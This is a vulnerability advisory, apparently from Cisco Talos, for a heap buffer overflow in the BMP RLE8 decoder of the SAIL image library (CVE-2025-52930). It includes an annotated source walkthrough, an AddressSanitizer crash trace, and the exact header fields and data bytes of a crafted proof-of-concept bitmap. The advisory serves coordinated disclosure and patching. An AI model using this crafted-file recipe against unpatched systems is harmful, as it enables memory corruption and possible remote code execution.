CVE-2025-52930
A memory corruption vulnerability exists in the BMPv3 RLE Decoding functionality of the SAIL Image Decoding Library v0.9.8. When decompressing the image data from a specially crafted .bmp file, a heap-based buffer overflow can occur which allows for remote code execution. An attacker will need to convince the library to read a file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
SAIL Image Decoding Library v0.9.8
221db576ce1263ab92bd882f344b68b8eec16cad (master)
SAIL Image Decoding Library - https://sail.software/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-680 - Integer Overflow to Buffer Overflow
SAIL is a format-agnostic image decoding library supporting all popular image formats. Being one of the fastest among competitors, it provides simple yet powerful C/C++ API for end-users. SAIL works on Windows, macOS, and Linux platforms.
When the library first processes a bitmap image, the following function will be used to read the header for the image. At [1], a uint16_t
will be read from the file that contains the signature. This signature is then used to determine what type of bitmap should loaded. Afterwards at [2], the function will read the rest of the bitmap headers from the file.
sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
if (bmp_load_options & SAIL_READ_BMP_FILE_HEADER) {
/* "BM" or 0x02. */
uint16_t magic;
SAIL_TRY(io->strict_read(io->stream, &magic, sizeof(magic))); // [1] read the signature of the bitmap
SAIL_TRY(io->seek(io->stream, 0, SEEK_SET));
if (magic == SAIL_DDB_IDENTIFIER) {
...
} else if (magic == SAIL_DIB_IDENTIFIER) {
SAIL_TRY(bmp_private_read_dib_file_header(io, &bmp_state->dib_file_header));
SAIL_TRY(read_bmp_headers(io, bmp_state)); // [2] read the bitmap headers
} else {
...
}
} else {
SAIL_TRY(read_bmp_headers(io, bmp_state)); // [2] read the bitmap headers
}
...
return SAIL_OK;
}
When reading the bitmap headers from the image, the following read_bmp_headers
function will be used. The first thing this function will do is to read the v2 bitmap headers at [3]. Once that has been read, a switch will be used depending on the size of the headers. At [4], the library will read v3 of the bitmap headers. This is done for v3, v4, and v5 bitmaps.
sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
/* Check BMP restrictions. */
if (bmp_state->version == SAIL_BMP_V1) {
...
} else if (bmp_state->version >= SAIL_BMP_V3) {
if (bmp_state->v3.compression == SAIL_BI_BITFIELDS && bmp_state->v2.bit_count != 16 && bmp_state->v2.bit_count != 32) { // [3] validate the compression type and bit count
...
}
if (bmp_state->v3.compression != SAIL_BI_RGB && bmp_state->v3.compression != SAIL_BI_RLE4 && bmp_state->v3.compression != SAIL_BI_RLE8) { // [3] validate the compression type and bit count
...
}
if (bmp_state->v3.compression == SAIL_BI_RLE4 && bmp_state->v2.bit_count != 4) { // [3] validate the compression type and bit count
...
}
if (bmp_state->v3.compression == SAIL_BI_RLE8 && bmp_state->v2.bit_count != 8) { // [3] validate the compression type and bit count
...
}
}
SAIL_TRY(bmp_private_bit_count_to_pixel_format(bmp_state->version == SAIL_BMP_V1 ? bmp_state->v1.bit_count : bmp_state->v2.bit_count, // [4] figure out the pixel format for the bit count
&bmp_state->source_pixel_format));
...
return SAIL_OK;
}
After the headers of the image have been read, the bmp_private_read_init
function will resume executing in order to determine the number of bytes that are occupied by a decoded row of the image. At [5], the bmp_private_bytes_in_row
function will be used to calculate the number of bytes using the bits per pixel and bytes per row field from the image file. At [6], the image width will be used to calculate the number of bytes for a single row. This value will be multiplied by the image height in order to to allocate enough space for decoding the image.
sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
/* Calculate the number of pad bytes to align scan lines to 4-byte boundary. */
if (bmp_state->version == SAIL_BMP_V1) {
SAIL_TRY(bmp_private_bytes_in_row(bmp_state->v1.width, bmp_state->v1.bit_count, &bmp_state->bytes_in_row)); // [5] calculate the stride for each row v1
bmp_state->pad_bytes = bmp_state->v1.byte_width - bmp_state->bytes_in_row;
} else {
SAIL_TRY(bmp_private_bytes_in_row(bmp_state->v2.width, bmp_state->v2.bit_count, &bmp_state->bytes_in_row)); // [5] \ calculate the stride for each row v2
bmp_state->pad_bytes = bmp_private_pad_bytes(bmp_state->bytes_in_row);
}
return SAIL_OK;
}
\
sail/src/sail-codecs/common/bmp/helpers.c:167-179
sail_status_t bmp_private_bytes_in_row(unsigned width, unsigned bit_count, unsigned *bytes_in_row) {
switch (bit_count) {
case 1: *bytes_in_row = (width + 7) / 8; return SAIL_OK; // [6] calculate bytes per row
case 4: *bytes_in_row = (width + 1) / 2; return SAIL_OK; // [6] calculate bytes per row
case 8: *bytes_in_row = width; return SAIL_OK;
case 16: *bytes_in_row = width * 2; return SAIL_OK; // [6] calculate bytes per row
case 24: *bytes_in_row = width * 3; return SAIL_OK; // [6] calculate bytes per row
case 32: *bytes_in_row = width * 4; return SAIL_OK; // [6] calculate bytes per row
}
SAIL_LOG_AND_RETURN(SAIL_ERROR_UNSUPPORTED_FORMAT);
}
When decoding each frame, the following bmp_private_read_frame
function is used. This function will start at [7] by looping over each row of the image in order to iterate through each pixel that is stored. Then, for each pixel from the image data the compression type is checked at [8] to ensure that the image data is run-length encoded. Afterwards, each run-length encoded packet is then decoded. At [9], the number of pixels to fill is read from the image data into the “marker
” variable. This variable is then checked if it is a run-length encoding marker at [10]. If it is, at [11] the index of the color to fill with will be read from the image data. Once the count and color index has been determined, the loop at [12] will be used to fill the current scan line with the chosen color index. Due to this loop not taking into account the dimensions of the image buffer, a heap-based buffer overflow can be made to occur. This can allow for code execution under the context of the library.
sail/src/sail-codecs/common/bmp/bmp.c:389-536
sail_status_t bmp_private_read_frame(void *state, struct sail_io *io, struct sail_image *image) {
struct bmp_state *bmp_state = state;
/* RLE-encoded images don't need to skip pad bytes. */
bool skip_pad_bytes = true;
for (unsigned i = image->height; i > 0; i--) { // [7] loop over each row
unsigned char *scan = sail_scan_line(image, bmp_state->flipped ? (i - 1) : (image->height - i));
for (unsigned pixel_index = 0; pixel_index < image->width;) { // [7] iterate through each pixel
if (bmp_state->version >= SAIL_BMP_V3 && bmp_state->v3.compression == SAIL_BI_RLE4) { // [8] check if run-length encoding is used
...
} else if (bmp_state->version >= SAIL_BMP_V3 && bmp_state->v3.compression == SAIL_BI_RLE8) { // [8] check if run-length encoding is used
skip_pad_bytes = false;
uint8_t marker;
SAIL_TRY(io->strict_read(io->stream, &marker, sizeof(marker))); // [9] read the run-length count from the image data
if (marker == SAIL_BMP_UNENCODED_RUN_MARKER) { // [10] check if packet is unencoded
uint8_t count_or_marker;
SAIL_TRY(io->strict_read(io->stream, &count_or_marker, sizeof(count_or_marker)));
if (count_or_marker == SAIL_BMP_END_OF_SCAN_LINE_MARKER) {
...
} else {
/* Normal RLE: count + value. */
uint8_t index;
SAIL_TRY(io->strict_read(io->stream, &index, sizeof(index))); // [11] read the color index from the image data
for (uint8_t k = 0; k < marker; k++) {
*scan++ = index; // [12] use count to write pixels for buffer overflow
}
pixel_index += marker;
}
}
}
...
}
return SAIL_OK;
}
$ sail decode poc.bmp
File : poc.bmp
Codec : BMP [Bitmap Picture]
Codec version : 1.1.2
=================================================================
==178327==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5801d51 at pc 0x08165dcf bp 0xffed0d48 sp 0xffed0d30
WRITE of size 1 at 0xf5801d51 thread T0
#0 0x08165dce in bmp_private_read_frame /path/to/sail/sail/src/sail-codecs/common/bmp/bmp.c:512:33
#1 0x081555b0 in sail_codec_load_frame_v8_bmp /path/to/sail/sail/src/sail-codecs/bmp/bmp.c:111:5
#2 0x0814116e in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:119:5
#3 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
#4 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
#5 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
#6 0xf7bc50e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
#7 0xf7bc51b7 in __libc_start_main@GLIBC_2.0 (/lib/libc.so.6+0x31b7) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
#8 0x08048a57 in _start (/path/to/sail/sail+0x8048a57) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
0xf5801d51 is located 0 bytes after 1-byte region [0xf5801d50,0xf5801d51)
allocated by thread T0 here:
#0 0x080eaf46 in malloc (/path/to/sail/sail+0x80eaf46) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
#1 0x08178131 in sail_malloc /path/to/sail/sail/src/sail-common/memory.c:34:23
#2 0x081410f6 in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:116:5
#3 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
#4 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
#5 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
#6 0xf7bc50e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
SUMMARY: AddressSanitizer: heap-buffer-overflow /path/to/sail/sail/src/sail-codecs/common/bmp/bmp.c:512:33 in bmp_private_read_frame
Shadow bytes around the buggy address:
0xf5801a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5801b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5801b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5801c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5801c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0xf5801d00: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 04
0xf5801d80: fa fa 00 fa fa fa 00 04 fa fa 00 fa fa fa fd fa
0xf5801e00: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
0xf5801e80: fa fa 00 04 fa fa 00 fa fa fa 00 00 fa fa 00 fa
0xf5801f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5801f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==178327==ABORTING
$ python -i poc.py3.zip poc.bmp
The bitmap file generated by the proof-of-concept has the following structure.
>>> bmp
<class bitmap.File> 'unnamed_7f65239d9190' {unnamed=True}
[0] <instance bitmap.BITMAPFILEHEADER 'bmfh'> "\x42\x4d\x36\x05\x00\x00\x00\x00\x00\x00\x36\x04\x00\x00"
[e] <instance bitmap.BitmapInfoHeader 'bmih'> "\x28\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
[36] <instance parray.type 'bmiColors'> bitmap.RGBQUAD[256] "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ...total 1024 bytes... \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[436] <instance dynamic.block(0) 'bmiExtra'> (0) ""
[436] <instance ptype.block 'bmData'> (256) "\x7a\x6c\x73\x63\x87\x6f\x05\xb5\x9d\x2e\xee\x98\xc2\xc5 ...total 256 bytes... \x33\xff\x64\x0f\xf4\x1d\x13\xba\x80\x8e\xc9\xeb\x1e"
Any version of the BitmapInfoHeader
can be used to trigger this vulnerability.
>>> bmp['bmih']
<class bitmap.BitmapInfoHeader> 'bmih'
[e] <instance bitmap.DWORD 'biSize'> 0x00000028 (40)
[12] <instance bitmap.BitmapInfo 'bmHeader'> "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
The entirety of the fields required to trigger this vulnerability exist within the following BitmapInfo
structure. If the “biCompression
” field of this structure is BI_RLE8(1)
or BI_RLE4(2)
, then the RLE decoder will be used to decode the image data. The buffer being overflown is calculated using the product of the dimensions of the image and the bytes determined by the “biBitCount
” field. The “biBitCount
” field contains the number of bits, which must be divided by 8
to get the number of bytes. This specific proof-of-concept sets the “biWidth
” and “biHeight
” fields to 1
with 8
bits per pixel. This results in allocating space for a single byte.
>>> bmp['bmih']['bmHeader']
<class bitmap.BitmapInfo> 'bmHeader'
[12] <instance bitmap.LONG 'biWidth'> +0x00000001 (1)
[16] <instance bitmap.LONG 'biHeight'> +0x00000001 (1)
[1a] <instance bitmap.WORD 'biPlanes'> 0x0000 (0)
[1c] <instance bitmap.WORD 'biBitCount'> 0x0008 (8)
[1e] <instance bitmap.biCompression 'biCompression'> BI_RLE8(0x1)
[22] <instance bitmap.DWORD 'biSizeImage'> 0x00000000 (0)
[26] <instance bitmap.LONG 'biXPelsPerMeter'> +0x00000000 (0)
[2a] <instance bitmap.LONG 'biYPelsPerMeter'> +0x00000000 (0)
[2e] <instance bitmap.DWORD 'biClrUsed'> 0x00000100 (256)
[32] <instance bitmap.DWORD 'biClrImportant'> 0x00000000 (0)
The following data is a hexdump of the RLE-encoded image data from the generated bitmap. Decoding from offset 0x436 of this specific proof-of-concept, the number of pixels to fill will be 0xFF. The following byte, 0xFF, will be the color used for the fill. If any of the RLE-encoded bytes results in being larger than the product of the image dimensions and bytes per pixel, then this vulnerability is being triggered.
>>> bmp['bmdata']
<class ptype.block> 'bmData'
0436 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
0446 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
0456 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
0466 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
...skipped 248 rows, total 4096 bytes..
13f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
1406 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
1416 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
1426 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
2025-07-29 - Initial Vendor Contact
2025-07-29 - Vendor Disclosure
2025-07-31 - Vendor Patch Release
2025-08-25 - Public Release
Discovered by a member of Cisco Talos.